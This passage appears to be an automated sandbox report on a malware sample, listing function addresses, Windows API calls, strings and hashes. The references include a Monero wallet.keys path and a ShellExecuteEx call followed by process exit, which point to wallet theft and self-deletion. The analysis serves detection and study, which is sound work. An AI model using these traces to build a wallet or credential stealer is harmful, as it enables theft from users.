Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Strings

@, xrefs: 00129EF1
ERROR_RUN_EXTRACTOR, xrefs: 00129E67
v10, xrefs: 00129EA3
v20, xrefs: 00129E21

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 6bd8ddda9dc92c9fa480d1e420651041e7cf84ba90a02d389a11e6462f911513
Instruction ID: 5a6c42d276ee0c977f67cc560e5d9b02638edb57673b65d98846330ae3f502e9
Opcode Fuzzy Hash: 6bd8ddda9dc92c9fa480d1e420651041e7cf84ba90a02d389a11e6462f911513
Instruction Fuzzy Hash: 8A618271A00258EFDB28EFA4DC96FED7775AF54300F408018F90A9F191EB746A05CB92

Function 001340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00FFD6A0,00000000,00020119,?), ref: 001340F4
RegQueryValueExA.ADVAPI32(?,00FFE0E0,00000000,00000000,00000000,000000FF), ref: 00134118
RegCloseKey.ADVAPI32(?), ref: 00134122
lstrcat.KERNEL32(?,00000000), ref: 00134147
lstrcat.KERNEL32(?,00FFE0F8), ref: 0013415B

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: b8bbf99eab979d9172ff5bad2068fc39c463c9a404eb373e6d806fbbcb1d55f4
Instruction ID: a42351f87a61d13a71280eb247f90dad9b58a9400c88c8c390f6a12d059aa8fd
Opcode Fuzzy Hash: b8bbf99eab979d9172ff5bad2068fc39c463c9a404eb373e6d806fbbcb1d55f4
Instruction Fuzzy Hash: 3241A7B6D001086BDB15EBA0EC46FFE737DAB99300F008558F61557181EBB59B888FE2

Function 00137E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137E37
RtlAllocateHeap.NTDLL(00000000), ref: 00137E3E
RegOpenKeyExA.ADVAPI32(80000002,00FEC518,00000000,00020119,?), ref: 00137E5E
RegQueryValueExA.ADVAPI32(?,00FFD680,00000000,00000000,000000FF,000000FF), ref: 00137E7F
RegCloseKey.ADVAPI32(?), ref: 00137E92

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 06b96a86d5a162e464c726aafdf83aa3e7a5252136e4697dcc3443651ea50627
Instruction ID: 300154db61fed61d19e809db2e72df4dc850fdf6d2aa0bd9902ab75fce717684
Opcode Fuzzy Hash: 06b96a86d5a162e464c726aafdf83aa3e7a5252136e4697dcc3443651ea50627
Instruction Fuzzy Hash: B7114CB1A44605EBDB15CF95DD49FBBBBBCEB48B10F108169F605A7280D7B468008FA2

Function 00139260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00FFDFF0,?,?,?,0013140C,?,00FFDFF0,00000000), ref: 0013926C
lstrcpyn.KERNEL32(0036AB88,00FFDFF0,00FFDFF0,?,0013140C,?,00FFDFF0), ref: 00139290
lstrlen.KERNEL32(?,?,0013140C,?,00FFDFF0), ref: 001392A7
wsprintfA.USER32 ref: 001392C7

Strings

%s%s, xrefs: 001392B5

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 35c6f6106a1c9d0e4e9bec9876a6f96868925956e05c43a0bac584e2647c16b5
Instruction ID: 86a98f583625c5b618b268ab2b6e73cdf4a448aadbb7c0f9171fee93ab068ee4
Opcode Fuzzy Hash: 35c6f6106a1c9d0e4e9bec9876a6f96868925956e05c43a0bac584e2647c16b5
Instruction Fuzzy Hash: D001C475500608FFCB05DFECC998EAE7BB9EB48354F148148F909AB244C771AA40DF91

Function 001212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001212B4
RtlAllocateHeap.NTDLL(00000000), ref: 001212BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001212F5
RegCloseKey.ADVAPI32(?), ref: 001212FF

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ac2cdbd08c9c0633e1efab92d05b3640b5bdb05ab2118662d36a09c3678a89dd
Instruction ID: a36c424e3eaaf22243e1c6843911a777a873b48900df1fd2852d0edd5e1e6329
Opcode Fuzzy Hash: ac2cdbd08c9c0633e1efab92d05b3640b5bdb05ab2118662d36a09c3678a89dd
Instruction Fuzzy Hash: E701E6B5A40208BBDB15DFD4DC49FAEB7BCEB48701F108155FA05A7280D6B5AA018F51

Function 0013C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0013C8EC
___crtLCMapStringA.LIBCMT ref: 0013C90C
___crtLCMapStringA.LIBCMT ref: 0013C931

Strings

, xrefs: 0013C896

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: d6d7bb6d56693708e42d4bf11d9801081fd8b27b608a6f161f98b898efcacb76
Instruction ID: 1a89e42932381ef6f5543482f414a6b21d25215af54edc368dc504b01a82f521
Opcode Fuzzy Hash: d6d7bb6d56693708e42d4bf11d9801081fd8b27b608a6f161f98b898efcacb76
Instruction Fuzzy Hash: 474107B110079C5EDB258B24CC85FFBBBE89F45708F1444E8E9CA96182D3719B44CFA0

Function 00136630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00136663

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

ShellExecuteEx.SHELL32(0000003C), ref: 00136726
ExitProcess.KERNEL32 ref: 00136755

Strings

<, xrefs: 001366D9

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 91d028ea6d15a0a9f71f547e20646773c34c5c56ac5f4215dbc249b30e0b85cb
Instruction ID: fdfffda215cb85891a40217923aca1273a8847429ba9a7ce239df8179f56018a
Opcode Fuzzy Hash: 91d028ea6d15a0a9f71f547e20646773c34c5c56ac5f4215dbc249b30e0b85cb
Instruction Fuzzy Hash: 2D31F9B1801218ABDB15EB90DC96BDEB77CAF54300F804199F30A76191DFB46B49CF6A

Function 001387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00140E28,00000000,?), ref: 0013882F
RtlAllocateHeap.NTDLL(00000000), ref: 00138836
wsprintfA.USER32 ref: 00138850

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Strings

%dx%d, xrefs: 00138847

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 81d3220d428f9d4711ee7d5b1c7c95793b67b4158b8a8c541b065ba9423faf7d
Instruction ID: 16dc0a5fb5836bf62fb1bf70913f29efc7071231e27ea8c971d1295f403fb9bf
Opcode Fuzzy Hash: 81d3220d428f9d4711ee7d5b1c7c95793b67b4158b8a8c541b065ba9423faf7d
Instruction Fuzzy Hash: 7A2130B1A40604AFDB05DFD4DD49FAEBBB8FB48701F108119F605B7280C7B9A9008FA1

Function 00138D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0013951E,00000000), ref: 00138D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00138D62
wsprintfW.USER32 ref: 00138D78

Strings

%hs, xrefs: 00138D6F

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 21f9ab62abf70cfea518c61373aa373181177b680eb8d43e5419c95b742db0eb
Instruction ID: cc947b8b3be8f35db3bd43e1160cd6abd50b9e3d3e16206ebe1332f760c89b35
Opcode Fuzzy Hash: 21f9ab62abf70cfea518c61373aa373181177b680eb8d43e5419c95b742db0eb
Instruction Fuzzy Hash: DBE08670A40208BFC700DBD4DD09E597BBCEB45702F004054FD0A97240DAB16E008F52

Function 0012A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 00138B60: GetSystemTime.KERNEL32(00140E1A,00FFA990,001405AE,?,?,001213F9,?,0000001A,00140E1A,00000000,?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 00138B86

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0012A3FF
lstrlen.KERNEL32(00000000), ref: 0012A6BC

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

DeleteFileA.KERNEL32(00000000), ref: 0012A743

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 268392614299d31eb2e6e3c326f09e400d7a2e9cd515302e39ac27849f4a9036
Instruction ID: cb65f96fbfefb24f283b584e36ce234e07edb5bf48c144e250cdae337f7f415b
Opcode Fuzzy Hash: 268392614299d31eb2e6e3c326f09e400d7a2e9cd515302e39ac27849f4a9036
Instruction Fuzzy Hash: 2FE1D072810118ABDB05FBA4DCA2EEE733CAF24301F908159F557B6091EF746A4DCB66

Function 0012D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Part of subcall function 00138B60: GetSystemTime.KERNEL32(00140E1A,00FFA990,001405AE,?,?,001213F9,?,0000001A,00140E1A,00000000,?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 00138B86

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0012D481
lstrlen.KERNEL32(00000000), ref: 0012D698
lstrlen.KERNEL32(00000000), ref: 0012D6AC
DeleteFileA.KERNEL32(00000000), ref: 0012D72B

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fc17b68090d64dd29390136b2c389b9d493252ae4615b2ba67f3d320d8be6402
Instruction ID: 8546b287c802621bc0cf6714b21197deadef3bb3b33ce0a4ca3b3e6efbb54fbf
Opcode Fuzzy Hash: fc17b68090d64dd29390136b2c389b9d493252ae4615b2ba67f3d320d8be6402
Instruction Fuzzy Hash: 1E911772910108ABDB05FBA4DC96EEE733CAF24305F908158F547B7091EF746A49CB62

Function 0012D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

